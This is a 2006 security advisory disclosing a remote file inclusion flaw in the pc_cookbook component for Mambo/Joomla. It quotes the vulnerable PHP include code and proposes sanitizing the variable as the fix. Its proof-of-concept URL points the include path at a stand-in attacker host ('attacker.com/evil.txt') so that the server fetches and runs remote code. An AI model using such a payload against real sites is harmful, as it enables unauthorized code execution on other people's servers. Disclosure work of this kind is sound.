matdhulegmail.com
Date: Mon Jul 10 2006 - 01:00:40 CDT

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                                        .OR.ID
ECHO_ADV_37$2006

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[ECHO_ADV_37$2006] pc_cookbook Mambo/Joomla Component <= v0.3 Remote File Include Vulnerabilities
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Author : Ahmad Maulana a.k.a Matdhule
Date : July 10th 2006
Location : Indonesia, Jakarta
Web : http://advisories.echo.or.id/adv/adv37-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------

 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
pc_cookbook Component
 
Application : pc_cookbook Component
version : 0.3
URL : http://www.dianthos.net & http://www.fisheye.gr/koyansblog
 
------------------------------------------------------------------------

 
Vulnerability:
~~~~~~~~~~~~~~~
 
in folder com_pccookbook we found vulnerability script pccookbook.php.
 
-----------------------pccookbook.php----------------------
....
<?php
//pc_cookbook Component//
/**
* Content code
* package hello_world
* Original Copyright (C) 2005 Robert Prince
* Copyright (C) 2005 Konstantinos (koyan) Kokkorogiannis
* All rights reserved
* pc_cookbook is Free Software
* Released under GNU/GPL License :
http://www.gnu.org/copyleft/gpl.html
* version koyans 0.3
 * link http://www.dianthos.net & http://www.fisheye.gr/koyansblog
**/
global $mosConfig_absolute_path;
global $mosConfig_live_site;
 
 // include language file, or default to english
 if (file_exists ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php')) {
            include_once ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php');
 } else {
            include_once ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/english.php');
 } // end if
        ?>
...
----------------------------------------------------------
 
Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~~
 
http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfi
g_absolute_path=http://attacker.com/evil.txt?
 
Solution:
~~~~~~~~
 
sanitize variabel $mosConfig_absolute_path in pccookbook.php
 
 
------------------------------------------------------------------------
---
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hackeryahoogroups.com, jasakom_perjuanganyahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~~
 
     matdhule[at]gmail[dot]com
     
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